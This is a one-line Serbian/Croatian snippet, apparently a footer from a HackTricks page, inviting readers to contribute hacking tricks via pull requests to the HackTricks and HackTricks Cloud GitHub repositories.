- Podelite svoje trikove hakovanja slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.